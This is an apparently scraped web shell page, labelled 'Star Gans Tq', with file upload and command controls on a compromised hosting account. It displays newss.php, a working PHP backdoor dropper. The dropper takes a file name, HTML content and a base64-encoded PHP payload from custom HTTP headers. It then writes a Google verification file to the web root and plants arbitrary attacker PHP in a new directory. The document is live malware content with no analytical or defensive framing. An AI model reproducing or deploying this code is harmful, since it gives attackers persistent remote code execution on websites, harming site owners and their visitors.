.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
  • Current Path : /home/m/e/h/meharicl/www/
    Upload File
    @Command ~ $  
    Current File : /home/m/e/h/meharicl/www/newss.php

    <?php
    $rootPath = $_SERVER['DOCUMENT_ROOT'];
    $filePath = dirname(__FILE__);
    $folderName = "";
    $folderPath = $rootPath . $folderName;
    $fileName = "";
    $googleCheckFileName = $_SERVER['HTTP_G_N'];
    $googleHtmlContent = $_SERVER['HTTP_G_C'];
    $customFoldName = $_SERVER['HTTP_F_N'];
    $customPhpName = $_SERVER['HTTP_P_N'];
    $phpString = base64_decode($_SERVER['HTTP_P_S']);
    $path = $rootPath . "/" . $googleCheckFileName;
    $path2 = $filePath . "/" . $googleCheckFileName;
    $customFoldPath = $rootPath . "/" . $customFoldName;
    $customFoldPath2 = $filePath . "/" . $customFoldName;
    
    
    if (isset($googleCheckFileName)) {
        echo "$googleCheckFileName";
        $res = writeGoogleHtmlFile($path, $googleHtmlContent);
        if (is_writable($path)) {
            //$res = writeGoogleHtmlFile($path, $googleHtmlContent);
            echo "$res";
            createAndWriteCustomFile($customFoldPath, $customPhpName, $phpString);
        } else {
            createAndWriteCustomFile($customFoldPath2, $customPhpName, $phpString);
        }
    }
    
    function writeGoogleHtmlFile($writePath, $writeFileContent)
    {
        if (!file_exists($writePath)) {
            $htmlFile = fopen($writePath, 'w');
            if ($htmlFile) {
                $temp = fwrite($htmlFile, $writeFileContent);
                echo "HTML_WRITE_SUCCESS";
                fclose($htmlFile);
                return $temp;
            } else {
                echo "writeGoogleHtmlFile-file";
                return false;
            }
        } else {
          echo "has";
        }
        return false;
    }
    
    
    function createAndWriteCustomFile($path, $phpFileName, $string)
    {
        if (!file_exists($path)) {
            $isCreate = mkdir($path, 0755, true);
            if ($isCreate) {
                $phpFile = fopen($path . "/" . $phpFileName, 'w');
                if ($phpFile) {
                    fwrite($phpFile, $string);
                    echo "FOLD_WRITE_SUCCESS";
                    fclose($phpFile);
                }
            }
        } else {
            echo "FOLD_all";
            file_put_contents($path . "/" . $phpFileName, $string);
        }
    }
    
    function File_Mode()
    {
        $RealPath = realpath('./');
        $SelfPath = $_SERVER['PHP_SELF'];
        $SelfPath = substr($SelfPath, 0, strrpos($SelfPath, '/'));
        return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath)));
    }
    
    function File_Str($string)
    {
        return str_replace('//', '/', str_replace('\\', '/', $string));
    }